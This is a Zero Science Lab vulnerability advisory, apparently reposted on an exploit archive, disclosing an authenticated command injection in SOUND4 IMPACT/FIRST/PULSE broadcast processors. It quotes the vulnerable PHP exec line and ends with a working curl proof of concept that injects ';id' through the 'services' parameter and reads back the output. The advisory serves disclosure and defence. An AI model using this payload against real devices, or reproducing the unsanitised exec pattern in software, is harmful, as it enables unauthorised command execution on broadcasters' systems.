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SOUND4 IMPACT/FIRST/PULSE/Eco 2.x services Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x services Command Injection
Posted Dec 15, 2022
Authored by LiquidWorm | Site zeroscience.mk

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a services related authenticated command injection vulnerability.

tags | exploit
SHA-256 | eabf1351cb8311b07b8d38944e52c0f4bf4ac3fe1c2b689f78f5b11f2d93e684

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x services Command Injection

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SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (services) Authenticated Command Injection


Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: An authenticated command injection vulnerability exists in the
www-data-handler.php script at line 20, where the 'services' HTTP POST
parameter is passed as an argument to the system command "/usr/local/bin/www-data-handler.sh --restartsrv".
This allows an attacker to inject arbitrary system commands into the
'services' parameter, which are then executed by the script with the
privileges of the 'www-data' user.

========================================================================
/var/www/www-data-handler.php:
------------------------------
18: } else if(isset($_POST['services'])&&$_POST['services']!='') {
19: $ret=-1;
20: exec("/usr/local/bin/www-data-handler.sh --restartsrv ".$_POST['services'],$out,$ret);
21: echo $ret;
22: exit;
23: }
========================================================================

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5737
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5737.php


26.09.2022

--


> curl --fail -XPOST -sko nul \
'https://RADIOGUGA/www-data-handler.php' \
-H 'Cookie: PHPSESSID=fnlqhsd916g59uob4fgact97bd' \
--data "services=;id>/var/www/m" \
&& curl -sk 'https://RADIOGUGA/m'
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)
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